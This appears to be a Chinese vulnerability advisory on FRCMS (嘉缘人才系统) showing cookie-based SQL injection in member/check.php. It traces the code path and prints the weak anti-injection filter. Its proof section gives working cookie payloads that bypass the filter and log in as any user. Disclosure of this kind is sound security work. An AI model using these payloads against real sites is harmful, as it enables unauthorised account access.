### 简要描述:
嘉缘人才系统SQL注入导致任意用户登陆
### 详细说明:
文件member/index.php
```
require('check.php');
if(empty($do)) $do= '';
$titstr="会员中心";
$user_type=_getcookie('user_type');$ut='';
$user_type=='pmember'&&$ut='person';
$user_type=='cmember'&&$ut='company';
$user_type=='smember'&&$ut='school';
$user_type=='tmember'&&$ut='train';
```
这里包含了check.php,跟进
文件member/check.php
```
<?php
/*
[FRCMS] Copyright (c) 2010 Finereason.COM
This is NOT a freeware, use is subject to license.txt
*/
defined('IN_FR') or exit('Access Denied');
!isset($db)&&$db=connectdb();
$goto=urlencode($_SERVER['REQUEST_URI']);
$username=_getcookie('user_login');
if($username==''){
$str='';
foreach($_POST as $key => $val){
$str.="&$key=$val";
}
$goto=urlencode(joinchar($_SERVER['REQUEST_URI']).substr($str,1));
echo "<script language=JavaScript>{location.href='{$cfg['path']}login.php?goto=$goto';}</script>";
exit();
}else{
$userpass=_getcookie('user_pass');
$rs = $db->get_one("select m_id,m_flag,DATEDIFF(m_enddate,'".date('Y-m-d')."') as end,m_typeid,m_groupid,m_balance,m_integral,m_resumenums,m_mysendnums,m_mysendnum,m_myinterviewnums,m_myinterviewnum,m_myfavoritenums,m_myfavoritenum,m_letternums,m_contactnums,m_contactnum,m_expertnums,m_expertnum,m_recyclenums,m_recyclenum,m_hirenums,m_hirenum,m_hirenums,m_hirenum,m_smsnums,m_smsnum,m_operator,m_openid,m_mobileauth,m_emailauth,m_logo,m_confirm,m_logostatus from {$cfg['tb_pre']}member where m_login='$username' and m_pwd='$userpass' limit 0,1");
```
这里注意:
$username=_getcookie('user_login');
$userpass=_getcookie('user_pass');
$username和$userpass进入了SQL语句,继续跟进_getcookie
文件/inc/common.inc.php
```
function _getcookie($var) {
global $cfg;
$var = $cfg['cookie_pre'].$var;
return isset($_COOKIE[$var]) ? $_COOKIE[$var] : '';
}
```
这里的$cfg['cookie_pre']='fr_'
直接从_COOKIE获取参数值带入了上面的SQL语句,没有任何过滤,导致SQL注入
这里在进入SQL之前有一个防注入:
```
function checksql($dbstr,$querytype='select'){
$clean = '';
$old_pos = 0;
$pos = -1;
//普通语句,直接过滤特殊语法
if($querytype=='select'){
$nastr = "/[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}/i";
if(preg_match($nastr,$dbstr)){
log_write($dbstr,'sql');
showmsg('SafeError:10001', 'javascript:;');
exit();
}
}
//完整的SQL检查
while (true){
$pos = strpos($dbstr, '\'', $pos + 1);
if ($pos === false){
break;
}
$clean .= substr($dbstr, $old_pos, $pos - $old_pos);
while (true){
$pos1 = strpos($dbstr, '\'', $pos + 1);
$pos2 = strpos($dbstr, '\\', $pos + 1);
if ($pos1 === false){
break;
}
elseif ($pos2 == false || $pos2 > $pos1){
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($dbstr, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0){
$fail = true;
}
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, '#') !== false){
$fail = true;
}
elseif (strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0){
$fail = true;
}
elseif (strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0){
$fail = true;
}
elseif (strpos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0){
$fail = true;
}
elseif (strpos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0){
$fail = true;
}
elseif (preg_match('~\([^)]*?select~s', $clean) != 0){
$fail = true;
}
if (!empty($fail)){
log_write($dbstr,'sql');
showmsg('SafeError:10002', 'javascript:;');exit;
}
else
{
return $dbstr;
}
}
?>
```
但是可以轻易绕过了
### 漏洞证明:
访问:http://10.65.20.198/frcms/member/index.php
然后抓包,将cookie中的fr_user_pass或者fr_user_login的值加入单引号'
发送请求,会导致sql报错:
[<img src="https://images.seebug.org/upload/201408/28144831849d2d648acfb573d7fd36a4ed65b34a.png" alt="111.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/28144831849d2d648acfb573d7fd36a4ed65b34a.png)
那么这里我们可以任意用户登录了。
发送cookie:fr_user_login=111111' and char(@`'`) or 1=2#会跳转到登陆页面
发送cookie:fr_user_login=111111' and char(@`'`) or 1=1#即可登陆用户
[<img src="https://images.seebug.org/upload/201408/28151233d7f434cd6a573ee59470452c7a6d6332.png" alt="222.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201408/28151233d7f434cd6a573ee59470452c7a6d6332.png)
这里cookei中的 fr_user_type表示用户类型,修改这里的 fr_user_type的值即可登陆不同用户了。
暂无评论